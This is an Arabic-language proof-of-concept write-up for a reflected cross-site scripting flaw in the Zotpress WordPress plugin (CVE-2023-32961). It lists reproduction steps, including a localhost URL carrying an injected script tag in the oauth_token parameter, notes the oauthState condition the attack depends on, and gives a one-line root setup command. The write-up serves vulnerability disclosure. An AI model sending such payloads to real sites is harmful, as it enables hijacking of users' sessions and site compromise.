طريقة إعادة الإنتاج (PoC)

1. قم بتثبيت امتداد oauth الخاص بـ PHP لتفعيل الثغرة. (هذا اختياري في Zotpress)
2. سجّل الدخول إلى zotero.org
3. يجب توفّر الشروط اللازمة لتنفيذ الدالة get_request_token. (لأول مرة فقط) أرسل حمولة مثل هذه: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1
4. أرسل الحمولة التالية http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>

معلومات إضافية

• تحتاج إلى حساب على zotero.org.

• تحتاج إلى تعيين قيمة oauthState على 1 لتفعيل الثغرة. إذا لم تعمل الحمولة أعلاه، فستحتاج إلى إيجاد طريقة لتعيين oauthState على 1.

  • التعبير الشرطي :

    root@kitploit:~

    $_GET['oauth_token'] != $state['request_token_info']['oauth_token']
    

• سهولة تثبيت امتداد oauth الخاص بـ PHP:

  • أمر بسطر واحد :

    root@kitploit:~

    sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
    

• تم الاختبار باستخدام صورة Docker الخاصة بـ wordpress:latest.

فيديو إثبات المفهوم (PoC)

https://www.youtube.com/watch?v=5kZ7bNbs_-Q

المراجع

CVE-2023-32961